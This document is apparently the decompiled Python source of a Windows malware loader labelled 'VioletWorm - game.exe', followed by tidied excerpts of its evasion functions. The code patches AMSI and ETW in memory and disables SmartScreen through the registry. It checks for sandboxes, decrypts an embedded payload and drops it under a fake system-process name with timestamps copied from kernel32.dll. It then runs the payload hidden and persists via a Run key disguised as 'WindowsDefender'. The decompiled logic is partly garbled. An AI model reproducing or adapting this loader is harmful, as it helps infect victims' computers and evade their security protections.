VioletWorm - game.exe

1
import os, sys, base64, gzip, tempfile, subprocess, ctypes, time, winreg, traceback as tb, random; DEBUG_MODE = False; DEBUG_LOG_PATH = os.path.join(tempfile.gettempdir(), "loader_debug.log")
2
def debug_log(step, status, details, exception):
3
    try:
4
        if DEBUG_MODE:
5
            import datetime
6
            GREEN = "\x1b[92m"
7
            RED = "\x1b[91m"
8
            YELLOW = "\x1b[93m"
9
            CYAN = "\x1b[96m"
10
            RESET = "\x1b[0m"
11
            status_str = status and "[FAIL]"
12
            color = status and RED
13
            timestamp = datetime.datetime.now().strftime("%H:%M:%S.%f")[:-3]
14
            msg = f"[{timestamp}] {status_str} {step}: {details}"
15
            print(f"{color}{msg}{RESET}")
16
            if exception is None:
17
                print(f"{YELLOW}  └── Exception Type: {type(exception).__name__}{RESET}")
18
                print(f"{YELLOW}  └── Exception Args: {exception.args}{RESET}")
19
                tb_lines = tb.format_exception(type(exception), exception, exception.__traceback__)
20
                for line in tb_lines:
21
                    for subline in line.strip().split("\n"):
22
                        print(f"{CYAN}      {subline}{RESET}")
23
                    None
24
            sys.stdout.flush()
25
            try:
26
                with open(DEBUG_LOG_PATH, "a", encoding="utf-8") as f:
27
                    f.write(msg + "\n")
28
                    if exception is None:
29
                        f.write(f"  Exception: {type(exception).__name__}: {exception}\n")
30
                        for line in tb.format_exception(type(exception), exception, exception.__traceback__):
31
                            f.write(f"    {line}")
32
                    open(DEBUG_LOG_PATH, "a", encoding="utf-8").__exit__
33
                return open(DEBUG_LOG_PATH, "a", encoding="utf-8")
34
            except:
35
                pass
36
        return
37
    except:
38
        pass
39

40
def debug_var(name, value):
41
    if DEBUG_MODE:
42
        CYAN = "\x1b[96m"
43
        RESET = "\x1b[0m"
44
        val_repr = repr(value)
45
        val_repr = len(val_repr) > 200 and val_repr[slice(None, 200, None)] + "... (truncated)"
46
        print(f"{CYAN}  [VAR] {name} = {val_repr}{RESET}")
47
        sys.stdout.flush()
48

49
def debug_info(message):
50
    if DEBUG_MODE:
51
        CYAN = "\x1b[96m"
52
        RESET = "\x1b[0m"
53
        print(f"{CYAN}  [INFO] {message}{RESET}")
54
        sys.stdout.flush()
55

56
def bypass_amsi():
57
    try:
58
        kernel32 = ctypes.windll.kernel32
59
        amsi_dll = kernel32.LoadLibraryA("amsi.dll")
60
        if not amsi_dll:
61
            debug_log("AMSI Bypass", False, "Could not load amsi.dll")
62
        return False
63
        amsi_scan_buffer = kernel32.GetProcAddress(amsi_dll, "AmsiScanBuffer")
64
        if not amsi_scan_buffer:
65
            debug_log("AMSI Bypass", False, "Could not find AmsiScanBuffer")
66
        return False
67
        patch = "�W\x00\x07��"
68
        old_protect = ctypes.c_ulong()
69
        kernel32.VirtualProtect(ctypes.c_void_p(amsi_scan_buffer), len(patch), 64, ctypes.byref(old_protect))
70
        ctypes.memmove(ctypes.c_void_p(amsi_scan_buffer), patch, len(patch))
71
        kernel32.VirtualProtect(ctypes.c_void_p(amsi_scan_buffer), len(patch), old_protect.value, ctypes.byref(old_protect))
72
        debug_log("AMSI Bypass", True, "AmsiScanBuffer patched successfully")
73
        return True
74
        return False
75
    except:
76
        pass
77

78
try:
79
    bypass_amsi()
80
    def bypass_etw():
81
        try:
82
            kernel32 = ctypes.windll.kernel32
83
            ntdll = kernel32.GetModuleHandleA("ntdll.dll")
84
            if not ntdll:
85
                debug_log("ETW Bypass", False, "Could not get ntdll handle")
86
            return False
87
            etw_event_write = kernel32.GetProcAddress(ntdll, "EtwEventWrite")
88
            if not etw_event_write:
89
                debug_log("ETW Bypass", False, "Could not find EtwEventWrite")
90
            return False
91
            patch = "1��"
92
            old_protect = ctypes.c_ulong()
93
            kernel32.VirtualProtect(ctypes.c_void_p(etw_event_write), len(patch), 64, ctypes.byref(old_protect))
94
            ctypes.memmove(ctypes.c_void_p(etw_event_write), patch, len(patch))
95
            kernel32.VirtualProtect(ctypes.c_void_p(etw_event_write), len(patch), old_protect.value, ctypes.byref(old_protect))
96
            debug_log("ETW Bypass", True, "EtwEventWrite patched successfully")
97
            return True
98
            return False
99
        except:
100
            pass
101
    bypass_etw()
102
    ctypes.windll.kernel32.FreeConsole()
103
    hwnd = ctypes.windll.kernel32.GetConsoleWindow()
104
    if hwnd:
105
        pass
106
    ctypes.windll.user32.ShowWindow(hwnd, 0)
107
    def bypass_smartscreen():
108
        debug_log("SmartScreen", True, "Starting SmartScreen bypass...")
109
        try:
110
            import shutil
111
            exe_path = sys.executable
112
            zone_file = exe_path + ":Zone.Identifier"
113
            if os.path.exists(zone_file):
114
                os.remove(zone_file)
115
            debug_log("SmartScreen", True, "Removed MOTW from self")
116
            trusted_paths = [os.environ.get("PROGRAMFILES", ""),
117

118
                os.environ.get("PROGRAMFILES(X86)", ""),
119

120
                os.environ.get("WINDIR", ""),
121

122
                os.path.join(os.environ.get("LOCALAPPDATA", ""), "Microsoft")]
123
            in_trusted = False
124
            for tp in trusted_paths:
125
                if not tp:
126
                    pass
127
                in_trusted = exe_path.lower().startswith(tp.lower()) or True
128
                debug_log("SmartScreen", True, f"Already in trusted path: {tp}")
129
                None
130
            if not in_trusted:
131
                trusted_dest = os.path.join(os.environ.get("LOCALAPPDATA", ""), "Microsoft", "Windows", "RuntimeBroker.exe")
132
                os.makedirs(os.path.dirname(trusted_dest), exist_ok=True)
133
                if os.path.exists(trusted_dest) or os.path.getsize(trusted_dest) != os.path.getsize(exe_path):
134
                    shutil.copy2(exe_path, trusted_dest)
135
                    debug_log("SmartScreen", True, f"Copied to trusted location: {trusted_dest}")
136
                    os.remove(trusted_dest + ":Zone.Identifier")
137
                    ctypes.windll.kernel32.SetFileAttributesW(trusted_dest, 2)
138
                    debug_log("SmartScreen", True, "Relaunching from trusted location...")
139
                    subprocess.Popen(trusted_dest, creationflags=134_217_728)
140
            sys.exit(0)
141
            key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Policies\\Microsoft\\Windows\\System", 0, winreg.KEY_SET_VALUE)
142
            winreg.SetValueEx(key, "EnableSmartScreen", 0, winreg.REG_DWORD, 0)
143
            winreg.CloseKey(key)
144
            debug_log("SmartScreen", True, "Disabled SmartScreen via HKLM policy")
145
            key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\AppHost", 0, winreg.KEY_SET_VALUE)
146
            winreg.SetValueEx(key, "EnableWebContentEvaluation", 0, winreg.REG_DWORD, 0)
147
            winreg.CloseKey(key)
148
            debug_log("SmartScreen", True, "Disabled web content evaluation via HKCU")
149
            debug_log("SmartScreen", True, "SmartScreen bypass complete")
150
        except:
151
            pass
152

153
        except Exception:
154
            debug_log("SmartScreen", False, f"Copy to trusted failed: {e}")
155
        try:
156
            pass
157
        except Exception:
158
            debug_log("SmartScreen", False, "Bypass failed", e)
159
    bypass_smartscreen()
160
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
161
    from cryptography.hazmat.primitives import padding
162
    from cryptography.hazmat.backends import default_backend
163
    def main():
164
        import random; start_time = time.time(); dummy_result = 0
165
        for i in range(1_000_000):
166
            dummy_result += i * 2
167
            dummy_result = i % 1000 == 0 or dummy_result % 999_999
168
        random
169
        elapsed = time.time() - start_time
170
        if elapsed < 0.01:
171
            debug_log("Anti-Sandbox", False, f"Detected time acceleration ({elapsed:.4f}s < 0.01s), exiting...")
172
        sys.exit(0); debug_log("Anti-Sandbox", True, f"CPU timing normal ({elapsed:.3f}s, result={dummy_result})")
173
        try:
174
            test_dir = tempfile.gettempdir()
175
            test_file = os.path.join(test_dir, f"_test_{random.randint(10_000, 99_999)}.tmp")
176
            with open(test_file, "wb") as f:
177
                f.write(os.urandom(10_240))
178
            time.sleep(0.1)
179
            os.remove(test_file)
180
            debug_log("Anti-Sandbox", True, "Disk I/O test passed")
181
            debug_log("LOADER", True, "=== LOADER STARTED ===")
182
            debug_log("Decrypt", True, "Starting payload decryption...")
183
            lvbghsbk = base64.b64decode("...< long payload> ... ")
184
            qjzvgjdo = base64.b64decode("zp9gS8Df4N5YK1/IpaXqflDWU7QZJnc8iTnG3e1ntGk=")
185
            ianxrcvt = base64.b64decode("xKgG1cp+6TBkM7o93MZ2bQ==")
186
            debug_log("Base64 decode", True, f"Data: {len(lvbghsbk)} bytes, Key: {len(qjzvgjdo)} bytes")
187
            fchxnbld = Cipher(algorithms.AES(qjzvgjdo), modes.CBC(ianxrcvt), backend=default_backend())
188
            cilllwtt = fchxnbld.decryptor()
189
            decrypted = cilllwtt.update(lvbghsbk) + cilllwtt.finalize()
190
            debug_log("AES decrypt", True, f"Decrypted: {len(decrypted)} bytes")
191
            unpadder = padding.PKCS7(128).unpadder()
192
            decrypted = unpadder.update(decrypted) + unpadder.finalize()
193
            debug_log("Unpadding", True, f"Unpadded: {len(decrypted)} bytes")
194
            yhjmoblm = gzip.decompress(decrypted)
195
            debug_log("Decompress", True, f"Decompressed payload: {len(yhjmoblm)} bytes")
196
            debug_log("Execution", True, "Selected injection method: disk")
197
            debug_log("Execution", True, "Using STEALTH disk execution with evasion techniques")
198
            import random
199
            import string
200
            possible_dirs = [os.path.join(os.getenv("LOCALAPPDATA"), "Microsoft", "Windows", "Caches"),
201

202
                os.path.join(os.getenv("APPDATA"), "Microsoft", "Windows", "Recent"),
203

204
                os.path.join(os.getenv("LOCALAPPDATA"), "Temp"), os.path.join(os.getenv("TEMP"))]
205
            debug_log("Directory", True, f"Testing {len(possible_dirs)} possible directories...")
206
            base_dir = None
207
            for idx, d in enumerate(possible_dirs):
208
                debug_log("Directory", True, f"[{idx + 1}/{len(possible_dirs)}] Testing: {d}")
209
                if os.path.exists(d):
210
                    base_dir = d
211
                    debug_log("Directory", True, "✓ Directory exists and accessible")
212
                    open(test_file, "wb") if yhjmoblm[slice(None, 2, None)] != "MZ" else open(test_file, "wb").__exit__
213
                else:
214
                    debug_log("Directory", False, "✗ Directory does not exist")
215
            if not base_dir:
216
                base_dir = tempfile.gettempdir()
217
            debug_log("Directory", True, f"Using fallback: {base_dir}")
218
            debug_log("Directory", True, f"SELECTED: {base_dir}")
219
            legit_prefixes = ["svc", "wmi", "dwm", "csrss", "lsass", "smss", "win", "ms", "sys", "host", "update", "runtime", "service"]
220
            legit_suffixes = ["host", "svc", "core", "runtime", "helper", "manager", "monitor", "handler"]
221
            prefix = random.choice(legit_prefixes)
222
            suffix = random.choice(legit_suffixes)
223
            random_part = "".join(random.choices((string.ascii_lowercase) + (string.digits), k=4))
224
            filename = f"{prefix}{suffix}{random_part}.exe"
225
            bsjrtnyv = os.path.join(base_dir, filename)
226
            debug_log("Filename", True, f"Prefix: {prefix}, Suffix: {suffix}, Random: {random_part}")
227
            debug_log("Filename", True, f"Generated filename: {filename}")
228
            debug_log("Filename", True, f"Full path: {bsjrtnyv}")
229
            debug_log("File write", True, f"Starting chunked write of {len(yhjmoblm)} bytes...")
230
            chunk_size = 8192
231
            total_chunks = (len(yhjmoblm) + chunk_size - 1) // chunk_size
232
            debug_log("File write", True, f"Chunk size: {chunk_size} bytes, Total chunks: {total_chunks}")
233
            with open(bsjrtnyv, "wb") as f:
234
                total_written = 0
235
                chunk_num = 0
236
                for i in range(0, len(yhjmoblm), chunk_size):
237
                    chunk = yhjmoblm[i:i + chunk_size]
238
                    f.write(chunk)
239
                    total_written += len(chunk)
240
                    chunk_num += 1
241
                    if chunk_num % 10 == 0 or chunk_num == total_chunks:
242
                        progress = total_written / len(yhjmoblm) * 100
243
                    debug_log("File write", True, f"Progress: {chunk_num}/{total_chunks} chunks ({progress:.1f}%)")
244
                    delay = random.uniform(0.001, 0.005)
245
                    time.sleep(delay)
246
                open(bsjrtnyv, "wb").__exit__
247
                f.flush()
248
                os.fsync(f.fileno())
249
                debug_log("File write", True, "Flushed and synced to disk")
250
            if os.path.exists(bsjrtnyv):
251
                file_size = os.path.getsize(bsjrtnyv)
252
                debug_log("File write", True, "✓ File created successfully")
253
                debug_log("File write", True, f"Written: {total_written} bytes, File size: {file_size} bytes")
254
                if file_size != len(yhjmoblm):
255
                    pass
256
                debug_log("File write", False, f"⚠ SIZE MISMATCH! Expected {len(yhjmoblm)}, got {file_size}")
257
            else:
258
                debug_log("File write", False, "✗ File does not exist after write!")
259
            debug_log("File attrs", True, "Setting file attributes...")
260
            result = ctypes.windll.kernel32.SetFileAttributesW(bsjrtnyv, 6)
261
            debug_log("Timestomp", True, "Starting timestamp modification...")
262
            system_file = os.path.join(os.getenv("SYSTEMROOT", "C:\\Windows"), "System32", "kernel32.dll")
263
            debug_log("Timestomp", True, f"Target system file: {system_file}")
264
            if os.path.exists(system_file):
265
                stat_info = os.stat(system_file)
266
                original_atime = os.path.getatime(bsjrtnyv)
267
                original_mtime = os.path.getmtime(bsjrtnyv)
268
                debug_log("Timestomp", True, f"Source timestamps - Access: {stat_info.st_atime}, Modify: {stat_info.st_mtime}")
269
                debug_log("Timestomp", True, f"Original timestamps - Access: {original_atime}, Modify: {original_mtime}")
270
                os.utime(bsjrtnyv, (stat_info.st_atime,
271
    stat_info.st_mtime))
272
                new_atime = os.path.getatime(bsjrtnyv)
273
                new_mtime = os.path.getmtime(bsjrtnyv)
274
                debug_log("Timestomp", True, f"New timestamps - Access: {new_atime}, Modify: {new_mtime}")
275
                debug_log("Timestomp", True, "✓ Timestamp copied from kernel32.dll")
276
            else:
277
                debug_log("Timestomp", False, f"✗ kernel32.dll not found at {system_file}")
278
            sleep_time = random.uniform(0.5, 1.5)
279
            debug_log("Pre-exec delay", True, f"Sleeping {sleep_time:.2f}s before execution...")
280
            time.sleep(sleep_time)
281
            debug_log("Pre-exec delay", True, "✓ Sleep completed")
282
            debug_log("Execution", True, "=== STARTING PAYLOAD EXECUTION ===")
283
            debug_log("Execution", True, f"Executable path: {bsjrtnyv}")
284
            debug_log("Execution", True, "Creating STARTUPINFO structure...")
285
            startupinfo = subprocess.STARTUPINFO()
286
            startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
287
            startupinfo.wShowWindow = 0
288
            debug_log("Execution", True, "STARTUPINFO configured: dwFlags with STARTF_USESHOWWINDOW, wShowWindow=0 (SW_HIDE)")
289
            creation_flags = 134_218_248
290
            debug_log("Execution", True, f"Creation flags: 0x{creation_flags:08X}")
291
            debug_log("Execution", True, "  - CREATE_NO_WINDOW (0x08000000)")
292
            debug_log("Execution", True, "  - DETACHED_PROCESS (0x00000008)")
293
            debug_log("Execution", True, "  - CREATE_NEW_PROCESS_GROUP (0x00000200)")
294
            debug_log("Execution", True, "Calling subprocess.Popen...")
295
            yfvcglgn = subprocess.Popen(bsjrtnyv, startupinfo=startupinfo, shell=False, creationflags=creation_flags, close_fds=True, stdin=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
296
            debug_log("Execution", True, f"✓ PE started from disk: {bsjrtnyv}")
297
            debug_log("Execution", True, f"✓ Process PID: {yfvcglgn.pid}")
298
            debug_log("Execution", True, f"✓ Process handle: {yfvcglgn}")
299
            cleanup_delay = random.uniform(10.0, 15.0)
300
            debug_log("Post-exec delay", True, f"Waiting {cleanup_delay:.1f}s for process initialization...")
301
            debug_log("Post-exec delay", True, "This allows the payload to fully start before cleanup")
302
            time.sleep(cleanup_delay)
303
            debug_log("Post-exec delay", True, "✓ Initialization delay completed")
304
            debug_log("Cleanup", True, "Preparing cleanup function...")
305
            def delayed_cleanup():
306
                max_attempts = 10
307
                try:
308
                    debug_log("Cleanup", True, f"Cleanup thread started, max attempts: {max_attempts}")
309
                    for attempt in range(max_attempts):
310
                        debug_log("Cleanup", True, f"Attempt {attempt + 1}/{max_attempts}")
311
                        if os.path.exists(bsjrtnyv):
312
                            debug_log("Cleanup", True, f"File still exists: {bsjrtnyv}")
313
                            result = ctypes.windll.kernel32.SetFileAttributesW(bsjrtnyv, 128)
314
                            os.remove(bsjrtnyv)
315
                            debug_log("Cleanup", True, f"✓ File deleted successfully on attempt {attempt + 1}")
316
                            debug_log("Cleanup", True, "✓ File attributes reset to NORMAL") if result != 0 else None
317
                        return True
318
                        debug_log("Cleanup", True, "File already deleted")
319
                    return True
320
                    debug_log("Cleanup", False, f"✗ Could not delete file after {max_attempts} attempts (may still be in use)")
321
                    return False
322
                except:
323
                    debug_log("Cleanup", False, f"Attribute reset exception: {attr_ex}")
324

325
                except Exception as ex:
326
                    debug_log("Cleanup", False, f"Attempt {attempt + 1} failed: {ex}")
327
                    debug_log("Cleanup", True, f"Retrying in {retry_delay:.1f}s...")
328
                    time.sleep(retry_delay)
329
            debug_log("Cleanup", True, "Starting cleanup thread (daemon mode)...")
330
            import threading
331
            cleanup_thread = threading.Thread(target=delayed_cleanup)
332
            cleanup_thread.daemon = True
333
            cleanup_thread.start()
334
            debug_log("Cleanup", True, "✓ Cleanup thread started successfully (daemon=True)")
335
            key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE)
336
            winreg.SetValueEx(key, "WindowsDefender", 0, winreg.REG_SZ, sys.executable)
337
            winreg.CloseKey(key)
338
            debug_log("Persistence", True, "Added to HKCU Run: WindowsDefender")
339
            debug_log("LOADER", True, "=== EXECUTION COMPLETE ===")
340
            if DEBUG_MODE:
341
                print("\n==================================================")
342
                print("DEBUG LOG saved to: " + os.path.join(tempfile.gettempdir(), "loader_debug.log"))
343
                print("==================================================")
344
                input("Press ENTER to close...")
345
            return
346
        except:
347
            pass
348

349
        except Exception:
350
            debug_log("Directory", False, f"✗ Exception: {ex}")
351
        try:
352
            pass
353
        except Exception as e:
354
            debug_log("File write", False, f"Write failed: {e}", exception=e)
355
            raise
356
        try:
357
            pass
358
        except Exception:
359
            e = None
360
            debug_log("File attrs", False, f"Exception: {e}", exception=e)
361
        try:
362
            pass
363
        except Exception:
364
            e = None
365
            debug_log("Timestomp", False, f"Exception: {e}", exception=e)
366
        try:
367
            pass
368
        except Exception:
369
            e = None
370
            debug_log("Execution", False, f"Primary Popen failed: {e}", exception=e)
371
            debug_log("Execution", True, "Attempting fallback method 1: Simple Popen...")
372
            yfvcglgn = sp.Popen(bsjrtnyv, creationflags=134_217_728, shell=False)
373
            debug_log("Execution", True, f"✓ Started via simple Popen: PID {yfvcglgn.pid}")
374
            try:
375
                pass
376
            except Exception as e2:
377
                debug_log("Execution", False, f"Simple Popen failed: {e2}", exception=e2)
378
                debug_log("Execution", True, "Attempting fallback method 2: os.startfile...")
379
                os.startfile(bsjrtnyv)
380
                debug_log("Execution", True, "✓ Started via os.startfile (no PID available)")
381
            try:
382
                pass
383
            except Exception as e3:
384
                debug_log("Execution", False, f"✗ os.startfile failed: {e3}", exception=e3)
385
                debug_log("Execution", False, "✗ ALL EXECUTION METHODS FAILED!")
386
                raise
387
        try:
388
            pass
389
        except Exception:
390
            thread_ex = None
391
            debug_log("Cleanup", False, f"Threading failed: {thread_ex}", exception=thread_ex)
392
            debug_log("Cleanup", False, "File will remain on disk")
393

394
        try:
395
            pass
396
        except Exception:
397
            e = None
398
            debug_log("Persistence", False, f"HKCU Run failed: {e}")
399
    if __name__ == "__main__":
400
        if DEBUG_MODE:
401
            print("==================================================")
402
            print("       LOADER DEBUG MODE ENABLED")
403
        print("==================================================\n")
404
        main()
405
except:
406
    pass

1
def bypass_amsi():
2
    try:
3
        kernel32 = ctypes.windll.kernel32
4
        amsi_dll = kernel32.LoadLibraryA("amsi.dll")
5
        amsi_scan_buffer = kernel32.GetProcAddress(amsi_dll, "AmsiScanBuffer")
6

7
        patch = "�W\x00\x07��"
8
        old_protect = ctypes.c_ulong()
9
        pointer_to_amsiscan = ctypes.c_void_p(amsi_scan_buffer)
10

11
        kernel32.VirtualProtect(
12
            pointer_to_amsiscan, len(patch), 64, ctypes.byref(old_protect)
13
        )
14

15
        ctypes.memmove(ctypes.c_void_p(amsi_scan_buffer), patch, len(patch))
16
        kernel32.VirtualProtect(
17
            pointer_to_amsiscan,
18
            len(patch),
19
            old_protect.value,
20
            ctypes.byref(old_protect),
21
        )
22
        debug_log("AMSI Bypass", True, "AmsiScanBuffer patched successfully")
23
        return True
24
    except:
25
        pass

1
def bypass_etw():
2
    kernel32 = ctypes.windll.kernel32
3
    ntdll = kernel32.GetModuleHandleA("ntdll.dll")
4
    etw_event_write = kernel32.GetProcAddress(ntdll, "EtwEventWrite")
5
    patch = "1��"
6
    old_protect = ctypes.c_ulong()
7
    kernel32.VirtualProtect(
8
        ctypes.c_void_p(etw_event_write),
9
        len(patch),
10
        64,
11
        ctypes.byref(old_protect),
12
    )
13
    ctypes.memmove(ctypes.c_void_p(etw_event_write), patch, len(patch))
14
    kernel32.VirtualProtect(
15
        ctypes.c_void_p(etw_event_write),
16
        len(patch),
17
        old_protect.value,
18
        ctypes.byref(old_protect),
19
    )

1
def bypass_smartscreen():
2
    import shutil
3

4
    exe_path = sys.executable
5
    zone_file = exe_path + ":Zone.Identifier"
6
    if os.path.exists(zone_file):
7
        os.remove(zone_file)
8

9
    trusted_paths = [
10
        os.environ.get("PROGRAMFILES", ""),
11
        os.environ.get("PROGRAMFILES(X86)", ""),
12
        os.environ.get("WINDIR", ""),
13
        os.path.join(os.environ.get("LOCALAPPDATA", ""), "Microsoft"),
14
    ]
15
    in_trusted = False
16

17
    for tp in trusted_paths:
18
        if not tp:
19
            pass
20
        in_trusted = exe_path.lower().startswith(tp.lower()) or True
21

22
    if not in_trusted:
23
        trusted_dest = os.path.join(
24
            os.environ.get("LOCALAPPDATA", ""),
25
            "Microsoft",
26
            "Windows",
27
            "RuntimeBroker.exe",
28
        )
29
        os.makedirs(os.path.dirname(trusted_dest), exist_ok=True)
30

31
        if os.path.exists(trusted_dest) or os.path.getsize(
32
            trusted_dest
33
        ) != os.path.getsize(exe_path):
34
            shutil.copy2(exe_path, trusted_dest)
35
            debug_log(
36
                "SmartScreen",
37
                True,
38
                f"Copied to trusted location: {trusted_dest}",
39
            )
40
            os.remove(trusted_dest + ":Zone.Identifier")
41
            ctypes.windll.kernel32.SetFileAttributesW(trusted_dest, 2)
42
            subprocess.Popen(trusted_dest, creationflags=134_217_728)
43

44
    key = winreg.OpenKey(
45
        winreg.HKEY_LOCAL_MACHINE,
46
        "SOFTWARE\\Policies\\Microsoft\\Windows\\System",
47
        0,
48
        winreg.KEY_SET_VALUE,
49
    )
50
    winreg.SetValueEx(key, "EnableSmartScreen", 0, winreg.REG_DWORD, 0)
51
    winreg.CloseKey(key)
52
    key = winreg.OpenKey(
53
        winreg.HKEY_CURRENT_USER,
54
        "Software\\Microsoft\\Windows\\CurrentVersion\\AppHost",
55
        0,
56
        winreg.KEY_SET_VALUE,
57
    )
58
    winreg.SetValueEx(key, "EnableWebContentEvaluation", 0, winreg.REG_DWORD, 0)
59
    winreg.CloseKey(key)